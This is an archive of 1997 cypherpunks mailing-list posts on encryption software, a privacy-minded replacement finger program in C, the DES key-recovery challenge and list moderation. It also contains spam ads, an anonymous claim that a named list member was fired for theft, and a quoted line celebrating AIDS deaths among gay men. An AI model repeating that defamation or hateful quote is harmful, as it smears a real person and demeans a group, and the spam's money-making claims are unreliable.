>{UDCM V2.0 has been extensively modified from its previous variation.}
>{Digital signaturing and public key cryptosystem capabilities have been
>added.}
>{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
>{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
>{UDCM's on-line help documentation has also been extensively modified.}
>{This advertisement has also been modified.}
>
>Hello,
>
>Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
>Engineering Technologies. I am sending you this message to let you know that
>DataET Research has recently initiated the distribution of UDCM, Universal
>Data Cryptography Module. UDCM implements a revolutionarily new, extremely
>advanced and sophisticated, digital data encryption algorithm named IMDMP,
>Integrated Mathematical Data Manipulation and Positioning.
>
>UDCM (the IMDMP algorithm)...
>
>o Is a royalty-free Windows DLL module featuring advanced cryptography.
>o Contains more than 150 procedures and functions.
>o Is a very cost-effective size of only 60 kilobytes.
>o Implements the IMDMP encryption algorithm.
>o Allows encryption keys as large as 2048 bits.
>o Includes 18 sub-algorithms.
>o Processes all forms of binary and ASCII files.
>o Allows multiple encryption layer levels.
>o Has absolutely no back-doors or magical keys.
>o Includes time and date locking features. 
>o Includes file specific unique encryption features.
>o Includes file authentication guard features.
>o Includes digital signaturing capabilities.
>o Implements the public key cryptosystem method of security.
>o Includes data importance and sensitivity stamping features.
>
>UDCM, being a Windows DLL module, can be accessed through programs developed
>with popular application and database programming languages and environments
>such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
>Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
>
>DataET Research has released a shareware version of UDCM named UDCM V2.0.
>
>To download UDCM V2.0 for free, please go to:
>http://members.aol.com/dataetrsch/udcm.html.
>
>I hope you will consider applying UDCM in the software you develop. Thank-you
>very much for your time.
>
>Sincerely,
>
>Jeremy K.Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 24 Jan 1997 07:27:05 -0800 (PST)
To: peter.allan@aeat.co.uk (Peter M Allan)
Subject: Re: fingerd
In-Reply-To: <9701241227.AA11148@clare.risley.aeat.co.uk>
Message-ID: <199701241522.JAA13433@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Peter M Allan wrote:
> 
> These messages have been sent about fingerd.
> My preference for fiddling with remote fingers is to
> leave fingerd as supplied by the vendor (run by "nobody") and
> replace the finger program itself.  It can be made to recognise
> when it is being run by "nobody" and behave differently
> from when run by another user.
> 
> Source at the end of this file.  (Bashed out fairly quickly
> starting from a utmp-eraser I made for a luser who wouldn't
> tolerate wall messages from shutdown.)
> 
> I have (among other things) an extension to TCP-wrappers
> (a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
> (mail me with Subject: "send goodies" for these.)
> /*  
> *  
> *  compile and test myfinger
> *  
> *  	cc  -C -o myfinger myfinger.c
> *  
> *  
> *  (assuming the standard finger is /usr/ucb/finger)
> *     cp /usr/ucb/finger /usr/ucb/finger.real
> *     cp myfinger /usr/ucb/finger
> *  
> *  
> *  (if using TCP wrapper reverse-fingers, make them NOT nobody,
> *   but another id such as nobody2.)
> *  
> *  I disclaim any disasters........
> *  
> */  
> 
> /*
>  *
>  *   my finger program - local only, to be less informative than /usr/ucb/finger
>  *   
>  */
> 
> 
> #undef _utmp_h
> #define TRUE  1
> #define FALSE 0
> #define FAKE 1
> #define WIPE 2
> #define UTMP "/etc/utmp"
> 
> 
> #include <stdio.h>
> #include <pwd.h>
> #include "utmp.h"
> #include <lastlog.h>
> 
> main(argc, argv, env)
> int  argc;
> char **argv;
> char **env;
> {
> 	int  i, listed;
> 	struct passwd *pwent;
> 
> 	if (argc < 1)
> 		exit(0);	/* beat sneaks */

argc is never less than one.

>          /*  If run by "nobody" (uid=65534) assume this is a remote finger */
>          /* otherwise run the standard finger command */
>          if (65534!=getuid()) {
>                        execv("/usr/ucb/finger.real", argv);
>                        /** if we get here exec failed, so we default to my finger  **/

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 24 Jan 1997 06:44:36 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <3.0.1.32.19970124082356.0169ded8@panix.com>
Message-ID: <3.0.1.32.19970124094348.00756658@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:23 AM 1/24/97 -0500, Alan Bostick wrote:
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  

Great analogy except that it's wrong.  Subway tunnels were hot before the cars ever had air conditioning.  The traditional method of controlling the amount of power delivered to an electric traction motor was to run the juice through a resistor array.  As the motorman moved the controller up and down, the current would pass through fewer and more banks on the grid of resistors and the amount delivered to the motors would change.  Well you might guess that at 600 V DC and I don't know how many Watts, those resistor grids had to dump a lot of heat.  They were/are located on the tops or bottoms of cars and are quite apparent when the cars pass you on a winter morning.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (fuck you)
Date: Fri, 24 Jan 1997 06:54:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970124.094351.21326.2.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Are their any H/ P/ V/ A/ C ers   on this list??




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 01:50:52 -0800 (PST)
To: Kevin Stephenson <cts@deltanet.com>
Subject: Re: seeds of our own destruction
In-Reply-To: <32E72BCB.3CBA@deltanet.com>
Message-ID: <199701240950.CAA01462@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <32E72BCB.3CBA@deltanet.com>, on 01/23/97 
   at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:

+You wrote some very interesting articles. It is the UN.

        if you want a real scare, read the UN "world constitution" on
    human rights and privacy --their idea of a Bill of Rights.  It just
    happens that it is virtually word for word equivalent to the 
    mainland Chinese "rights"  -in other words: rights as long as they 
    are consistent with the aims of the state (UN) and the security 
    needs of the state at the given moment.

        ...and the UN is to be granted overall sovereignity by virtue 
    of the right to unilateraly tax its 'member' states, and not 
    necessarily in an equitable fashion.

        to put it in context, it is clearly the havenots reducing 
    everyone to the status of havenot; there will be no others. this, 
    of course, will eventually give way to tribal governments and the 
    cycle will start over after the population is reduced by its own 
    pollution and starvation to a new balance with nature.  disease, 
    more than starvation, will be the biggest killer.  men will be too 
    hungry, and too sick, to fight until it stabilizes.

        there will be exceptions, of course, but they will lack 
    sufficient power to extend their sphere of influence before they 
    are overrun by the mass, or destroyed by chemical and germ warfare 
    in the last gasp. 

        the meaning of the 144,000 becomes more clear...

+Read Revelations (if you haven't). 
    
        have more than several textbooks on it, and have taught classes 
    on Revelation. 

        however, I strongly believe the interpretations are still 
    'every man for himself' --presuming, of course, the propounder has 
    at least the prerequisite grounding and understanding in the 
    fundamental concepts, starting with John the Revelator, who 
    never died, and why portions of the book are sealed. 

        the best general reference on symbology, at least of what I 
    have seen so far:

        Opening the Seven Seals
            (The Visions of John the Revelator)

        Richard D. Draper
        Desert Books, Salt Lake City
        ISBN 087579-547-1, SKU 2142298     
    

+Maybe put some scriptures on cypherpunks.

    casting pearls before swine?

+Happy Armageddon.

    Frances Ford Coppola wasted the good title: 'Apocolypse Now'

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 24 Jan 1997 12:31:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn byyear 2000
Message-ID: <v03007800af0e7d36879e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 24 Jan 97 00:04:40 +0100
To: dcsb@ai.mit.edu
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn by year
2000
Cc: nelson@media.mit.edu.geer@OpenMarket.com
From: a9050756@unet.univie.ac.at (Mike Alexander)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: a9050756@unet.univie.ac.at (Mike Alexander)


>>[some Fed reserve guy's] argument for stored value cards is that the
>>business costs of handling cash are so substantial that there is room
>>for merchants to discount purchases when made by a means that does
>>not require that handling cost.
>
>Does anyone know of a source for information on the overhead of
>accepting various forms of payment? I assume the cost of cash is
>smaller than credit cards for purchases under, say, $500. Any
>estimates on smart cards? On pure digital cash (delivered via a
>browser)?
>
>I'm particularly interested in micropayments, but the larger question
>is interesting as well.

I've worked on this topic extensively in the past months (writing a doctoral
thesis on efficiency and risk in the payment system). I can assure you this:
cash in is still and will remain one of the most efficient payment
instruments.
This holds looking at it from a private as well as social cost perspective
with
sufficient empirical support.



Best Regards,

Michael Alexander
Doctoral Student at the University of Vienna

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 07:05:46 -0800 (PST)
To: attila@primenet.com
Subject: Re: seeds of our own destruction
In-Reply-To: <199701240950.CAA01462@infowest.com>
Message-ID: <19970124.100221.21326.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Very soon humans will not have any purpose in life but to replicate
themselves. At least before the computer came along we kept ourselves
busy. But now we are getting computers to do the jobs that make up life.
We already precluded the need for math a long time ago.But know their are
spell checkers and even applications that check your spelling as you
write. I just saw on "The Site" how computers will be in shoes, in milk
cartons and in door mats. The human bodies salinity will act as a
conductor for the binary information. You pick up the milk carton which
then tells your your shoes that its not fresh. Then when your foot
touches the door mat in Publix it tells your watch to beep and say "You
DONT Got Milk" Then their will be that the floor in your apartment tells
the coffee pot to make coffee because it found a low caffeine level in
your body. You can shake hands with someone  and automatically transmit
their business card to the hard drive in your shoe. The pay phone will
know exactly who to bill the second the receiver is touched. But what if
I bump into you, now I have your business card. What if I steal your
shoe! Oh but dont worry, all this information will be ENCRYPTED.As we all
know once something is encrypted its perfectly safe.Yeah right, And Bill
Gates still uses a 310 baud modem. If someone really needs to know what's
on your shoeputer then they will set their 1586 700Mhz (or whatever they
have by then) do do just that. So what if it takes 2 weeks or 2 months.
They will have every single aspect of your life from your medical records
to credit card numbers to phone number(will they even USE phone numbers
by then) to your shoe size. But wait theirs more. If you haven't been
crawling through a cave for the past few months you will see that Intel
boasts that their chips will be able to perform 2 gigaflops or 2 billion
calculations per second.Can you imagine that. If you did one mathematical
calculation per second it would take you 31 thousand years. It did it in
a second, don't you feel dumb. Now imagine had one of these bad boys and
your shoes. How long would it take? Two hours, three or maybe, if its
really dragging, a day.Thats just the good old steal it and use it
technique. I don't even want to go into how people could intercept
information, copy it, or make their own.Well , I think I caused you
enough cranial burden for today, so remember technology is like drugs,
there are always more and they keep getting more effective but you do not
need them. They need you.

								Jonathan
Leto




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 07:11:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199701240719.AAA18312@zifi.genetics.utah.edu>
Message-ID: <19970124.100807.21326.5.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Does any one know of any other good mailing Lists either with crypto or
anything underground




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 24 Jan 1997 10:16:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241816.KAA02469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:
>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.
>
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.
>
>This is just the sort of thing that John Young is given to scanning and
>putting up on his Web site or sending out to people who send him email
>with FUN_nie subject lines.  If I were him, I'd put it up.
>
>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

You forgot about one thing, TV is one way.
The V-chip will have dueling results.  On the one hand, advertisers will
only pay for shows that will have a large viewership.  If that means that a
rather objectionable show, which would traditionally draw a large population
of pre-teens, can't be seen by its largest body of fans, it will probably be
cut.
On the other hand, TV execs won't have to worry about objections any longer
and thus can broadcast what they want, assuming that they can find a
decently large group of closet viewers.  (Not a misstype, I meant people who
are in the closet about their preferences, such as the minister with the
playboy channel.)

And TV is mostly one way.
This net is two way, many of the shock posts were put here to draw fire.
If the audience of these shock posts can not be reach to be outraged, the
vile spewer will first raise the stakes, spewing even more garbage and then,
finally, giving up.  Just like the old argument, don't encourage them, just
ignore them.
Plus, a number of reply posts to the garbage will never be written because
thier authors will have never seen the trash that they would have replied to.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "EXPRESS" <express@shell.liberty.com>
Date: Sun, 26 Jan 1997 18:05:10 -0800 (PST)
To: "Opportunities"<express@shell.liberty.com>
Subject: 300 Money Making Reports
Message-ID: <199701261250.EAA24457@shell.liberty.com>
MIME-Version: 1.0
Content-Type: text/plain


Please forgive me for this e-mail, but I felt I just had to let more
people know about this and get in on the ground floor!


 300 Money Making Reports

               AN OUTSTANDING MAIL ORDER OPPORTUNITY!

                         Make 1000% Profit


                 Sell 300 Popular Money Making Reports

Do you have a sincere desire to succeed in your own mail order
business ? If your answer is YES, then it will pay you to read on ...

If you are like most people wanting to "HIT IT BIG" in the exciting
mail order business, you are probably selling someone else's product -
using their advertising material.  Can money be made this way?  The
answer is yes - BUT - there are some vital ingredients necessary to
make really BIG MONEY in mail order.

FIRST:  You must sell a product that many people want.
SECOND:  It must be a hard to find product.
THIRD:  Your profit per sale must be VERY LARGE.

Well, we have found what is probably the most profitable line of
products that can be sold by mail - and the public demand is virtually
unlimited.  This product is

                       VALUABLE INFORMATION!

You can prove it for yourself.  Look through any magazine. 
Advertisements like "Wipe out debts Without bankruptcy","How to borrow
thousands of dollars interest free", or "Get a free Cadillac,
Mercedes, or any luxury car every year".  These people are making a
fortune selling this information because they have the know-how, plus
the information.

Having the INFORMATION to sell is the key.  You can buy many books on
how to sell
 information, but where to get the information to sell is always the
 problem in starting a profitable mail order business.

                  NOW THAT PROBLEM HAS BEEN SOLVED FOR YOU !

We have put together a collection of 300 of the hottest money-making
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Jan 1997 08:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: PSS_sst
Message-ID: <1.5.4.32.19970124165119.006bf090@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


New Scientist of 25 January reviews the Bernstein's 
case against crypto export, US global seduction of
foreign goverrments to suppress domestic calls for
privacy, and therewith deftly alerts British leaders and 
readers to undermining the "secretive bureaucratic" 
Uncle Sam scam, says the deft-underminer cpunkers 
quoted.

-----

PSS_sst







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Fri, 24 Jan 1997 11:20:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701241919.MAA22802@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May has been fired from Intel for stealing office supplies.

          o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
         /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Timothy C. May
         / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Fri, 24 Jan 1997 09:25:17 -0800 (PST)
To: ichudov@algebra.com
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <9700248541.AA854137494@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com wrote> 
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies 
>satisfy the current readership.
>
> - Igor.
  
I am not enthused about the perceived need for moderation.
But neither was I enthused with the state of the list.
 
However, I will reserve judgement as to the success or failure of the experiment
for a while yet. The question for me is how much the moderation improves the S/N
ratio v.s. how much it impedes dialogue.
 
I expect Sandy to make mistakes, even by his own criterion. But anyone who will
publicly admit to shaving his eyebrows is probably not swayed by popular
opinion.
 
James







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Fri, 24 Jan 1997 04:26:56 -0800 (PST)
To: steve@miranova.com
Subject: Re: fingerd
Message-ID: <9701241227.AA11148@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Hi,


These messages have been sent about fingerd.
My preference for fiddling with remote fingers is to
leave fingerd as supplied by the vendor (run by "nobody") and
replace the finger program itself.  It can be made to recognise
when it is being run by "nobody" and behave differently
from when run by another user.

Source at the end of this file.  (Bashed out fairly quickly
starting from a utmp-eraser I made for a luser who wouldn't
tolerate wall messages from shutdown.)

I have (among other things) an extension to TCP-wrappers
(a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
(mail me with Subject: "send goodies" for these.)

 -- Peter Allan   peter.allan@aeat.co.uk





Date: 23 Jan 1997 17:22:10 -0800
From: Steven L Baur <steve@miranova.com>
> cfingerd is not a safe program.  It must run as root, and has some big
> problems.

> On Tue, 17 Sep 1996, Administrador da Rede wrote:
> > I use the newest version of cfinger, setted to not allow general finger, just
> > specific ones. Does anyone knows how this person did that ? I hope I can
> > find out, otherwise, bye bye finger service.

> Badly.
> I have sent the author a letter, but never got any reply back (it's 3
> months later now!), so I just take the opportunity to warn the public
> against its use.



/*  
*  
*  compile and test myfinger
*  
*  	cc  -C -o myfinger myfinger.c
*  
*  
*  (assuming the standard finger is /usr/ucb/finger)
*     cp /usr/ucb/finger /usr/ucb/finger.real
*     cp myfinger /usr/ucb/finger
*  
*  
*  (if using TCP wrapper reverse-fingers, make them NOT nobody,
*   but another id such as nobody2.)
*  
*  I disclaim any disasters........
*  
*/  

/*
 *
 *   my finger program - local only, to be less informative than /usr/ucb/finger
 *   
 */


#undef _utmp_h
#define TRUE  1
#define FALSE 0
#define FAKE 1
#define WIPE 2
#define UTMP "/etc/utmp"


#include <stdio.h>
#include <pwd.h>
#include "utmp.h"
#include <lastlog.h>

main(argc, argv, env)
int  argc;
char **argv;
char **env;
{
	int  i, listed;
	struct passwd *pwent;

	if (argc < 1)
		exit(0);	/* beat sneaks */

         /*  If run by "nobody" (uid=65534) assume this is a remote finger */
         /* otherwise run the standard finger command */
         if (65534!=getuid()) {
                       execv("/usr/ucb/finger.real", argv);
                       /** if we get here exec failed, so we default to my finger  **/
         }


	printf("Login       Name          Where\n");


	listed = 1;
	while ((pwent = getpwent()) != NULL) {

		if (argc > 1) {
		/*
		 * if there are args, and  name is NOT one of them, we skip
		 * it
		 */
			listed = 0;
			for (i = 1; (!listed) && (i < argc); i++) {
				if (!strcmp(argv[i], pwent->pw_name))
					listed = 1;
			}
		}
		if (listed)
			info(pwent);
	}

}


info(pwent)
struct passwd *pwent;
{
	long lpos;
	FILE *fp;
	int  i;
	struct utmp *sp;
	struct utmp utmpentry;
        char *login,*gecos;
      
        login=pwent->pw_name;
        gecos=pwent->pw_gecos;


	sp = &utmpentry;

	if ((fp = fopen(UTMP, "r")) == NULL) {
		fprintf(stderr, "failed to open utmp for reading\n");
		exit(1);
	}


	i = fseek(fp, 0, 0);
	if (i) {
		puts("failed to fseek start of file");
		exit(2);
	}

	do {
/* get current pos in file using ftell */
		lpos = ftell(fp);

/* fread the struct */
		fread(sp, sizeof utmpentry, 1, fp);


		if (!feof(fp)) {
			if (!strcmp(login, sp->ut_name)) {
				if (!nonuser(utmpentry)) {
                                        utmpentry.ut_host[15]='\0';
					printf("%s\t%s\t%s\t%s\n",login,gecos,sp->ut_line,sp->ut_host);
				}
			}
		}



/* on error we close & exit */
		if (ferror(fp)) {
			fprintf(stderr, " file error! so failed to find our session in utmp\n");
			fclose(fp);
			exit(3);
		}

	} while (!feof(fp));



	fclose(fp);

}
/* end */




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 23 Jan 1997 18:32:15 -0800 (PST)
To: "'attila@primenet.com>
Subject: RE: Just another government fuckover: New crypto regulations
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970124023144Z-72@nt09.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain




>-----Original Message-----
>From:	Toto [SMTP:toto@sk.sympatico.ca]
>Sent:	Friday, January 24, 1997 12:29 AM
>To:	Attila T. Hun
>Cc:	cypherpunks@toad.com
>Subject:	Re: Just another government fuckover: New crypto regulations
>
>Attila T. Hun wrote:
> 
>>         free speech, which is what we are talking about. supposedly
>>     absolute freedom of speech in America was in the Articles of
>>     Confederation and was a major point of the Declaration of
>>     Independence.  free speach was an "intention" of the Magna Carta.
>
>> ::>     books are an intellectual 'solution' to the problem. the real
>> ::>problem is the hardware. in order to negate governments and their
>> ::>virtually stated intentions of blocking our inalienable freedoms,
>> ::>particularly freedom of speach, we must be able to distribute
>> ::>universal crypto worldwide, and be able to improve it as the shadow
>> ::>governments of the various spook shows improve their ability to
>> ::>break our code.
>
>Dear Mr. Hun,
>  I see that your post was expunged from the cypherpunks-politically-
>correct-outgoing list.
>  I am assuming that it was as a result of linking crypto to free
>speech.
>Perhaps you need to fall more into line with the New List Order.
>
>Toto
>
>More likely 'grep dimitri '




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Fri, 24 Jan 1997 09:44:42 -0800 (PST)
To: cryptography@c2.net
Subject: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701241741.JAA01398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #7
Friday, Jan 23 1997
Peter Trei

Next Tuesday morning, 9AM, RSA is scheduled to release 
the 'real' $10,000 DES challenge data. 

My software is in a state where it can be used for the
challenge, though there is room for improvement. 

It currently tests about 185,000 keys/sec on my 90MHz
machine. This translates to about 205,000 keys/sec on
a 100 MHz machine. I still have to replace my DES round,
which takes 25 clock cycles, with Svend Mikkelsen's, which
takes only 18. Since the DES rounds are well over 80% of
the work,  this should boost the speed to over 
250,000 keys/sec at 100 MHz. If I'm lucky, I'll perform
this conversion over the weekend.

I've sent out early betas to a few people for porting,
but have had no feedback yet.

I've approached several restricted FTP sites as possible
distribution sites, and have had some positive responses,
but nothing definitive yet. I'm being pretty strict in
my interpretation of EAR for this purpose.

In advance of the challenge, I'm willing to email copies
as a ~100k uuencoded zip file to people, but to do so, you must
comply with the following:

1. Send the request to ptrei@acm.org, NOT trei@process.com.
   I won't be able to read the latter for the next 10 days.

2. Include your 'true name' and residence address, as
   well as the email address to which it should be sent,
   .
3. A statement of your nationality. I'll mail it only
   to US Citizens, Canadian citizens, and US Green Card 
   holders, residing in the US or Canada.

4. A statement to the effect that you understand that this
   is restricted code, and that cannot be exported or 
   given to non-US/Canadian citizens

I'm going to hold this information in strict confidence, and
will surrender it only to a valid court order. It's similar
to what you have to go through to download the domestic
version of Netscape Navigator or PGP from MIT.

You are free to distribute the software further. If you've
complied with the requirements above, I believe that at that
point I've done more than due diligence under ITAR/EAR.

My software gets it's challenge data either from a text
file cut-and-pasted from the RSA page, or from internally
stored data. Tuesday night, I'll recompile the program with
the real challenge data, and redistribute.

My version runs on WinNT or Win95, on 486's and above. It's
set up as a console app, which can run in background. I don't
yet have a version for Win 3.1 or below 486, but may do in
the future.

The software is set up in such a way that it can be used
either on a standalone system, or in a LAN environment with
shared disks.  The latter has a slightly more complex setup, 
but will allow many machines to share one executable and
results file. 

I envisage people installing one copy on a shared disk in
their workplace, and then adding the appropriate commands
to the autoexec.bat file of every machine they can, so the 
program will start running whenever the machine is booted.
(I HOPE you get permission!).

The distribution includes both source and the Win32 executable.
The source includes both fast Intel assembler, and much slower
generic 'C'. There's nothing that's really Microsoft specific
in the code - it should be easy to port to other systems with
32 bit or better processors. I'm attempting to do a 'PGP style' 
distribution with a signed, nested zip file.

The signing key I'm using is available at
http://www.ziplink.net/users/trei/crypto.html
(I hope I've done this right).

I'm only going to send out signed archives. If you get one
where the signature fails, or one lacking a signature, I
repudiate it - and you should be suspicous of it.

I'll be trying to set up that URL as a page describing the
project, with info on other efforts, and FAQs. 

Once the challenge starts, I hope you'll all evangelize it
to your friends and acquaintences. I'd like to see 100,000
machines trying for the $10,000.

All next week I'm in the San Francisco area (I'm flying out in
a couple hours). I'll be attending the Verisign Partner's Day on
Monday, and I'll be at the RSA Data Security Conference Tuesday
through Friday. I'll be trying to read cypherpunks and coderpunks
at least once a day, along with checking mail to ptrei@acm.org.
I can't read cryptography@c2.net from an archive, so I will not
see it unless it cc's ptrei@acm.org (Perry, could you temporarily
subscribe ptrei@acm.org?)

Happy hunting!

Peter Trei
ptrei@acm.org

 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 24 Jan 1997 11:19:10 -0800 (PST)
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Sandy dumps Igor but allows KOTM
In-Reply-To: <199701241711.SAA28269@basement.replay.com>
Message-ID: <199701241914.NAA15177@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> Sandy Sandfort, our Leader, Moderator, Guidance Counselor, Censor,  and
> Speaker-to-Gilmour said:
> 
> "By the way, contrary to what Dimitri has alleged, I have posted
> every message from him in which he was able to restrain himself
> with regard to gratuitous insults and/or spam.  In other words,
> the set of Dimitri posts that have appeared on the moderated list
> is not the null set."
> 
> However, KOTM wrote:
> 
> "Anything?  My good friend TRRCJ3 reports from San Francisco that the
> city is much nicer now that so many homosexuals are 6 feet under.
> 
> "Thank God for AIDS."
> 
> (end quote from KOTM)
> 
> Nice to know Sandy is doing such an efficient job of moderating out the
> "flames," such as by kicking Igor's crypto-relevant article on denial of
> service attacks to the flame bucket while bending over backwards to appear
> to be "fair" to KOTM.

My article was not about denial of service technically, but rather
about using computers to set people up.

igor


> Face it, it's a bad idea. The Cypherpunks community is not the private
> sandbox of Gilmour and Sandfort, and we don't need Sandy's "guidance" to
> keep us from being straying sheep. The list may currently be hosted on
> Gilmour's computer, but having Sandy decide what's right for us to read is
> inconsistent with Cypherpunks ideals. 
> 
> GenX
> 
> 
> --
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Fri, 24 Jan 1997 11:03:32 -0800 (PST)
Subject: Just drop you a note
Message-ID: <199701241827.NAA144000@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Just thought I would drop you a note letting you know of an
opportunity that I came across lately.

I have been amazed at the success I have had with this product.
Please email me for URL (more details) if you are interested. 
Type "URL" in the subject line.

Regards
Sonia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 24 Jan 1997 11:27:50 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Encrypting ZIP disks
Message-ID: <3.0.32.19970124132442.006b1fc4@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm playing with SecureDrive; the problem is not with using it
with a Zip disk so much as it is trying to get it to play nice
with Windows 95.

ObCrypto: Check this out (from the readme.txt that comes on
every Zip disk before you delete it)

7.  Secure sensitive files.
     To keep sensitive or confidential information safe, store it
     on a Zip disk and use your Zip Tools software to assign a
     password that must be used in order to read from or write to
     the disk.  At work, you can protect sensitive information
     such as personnel files, company directories, and product
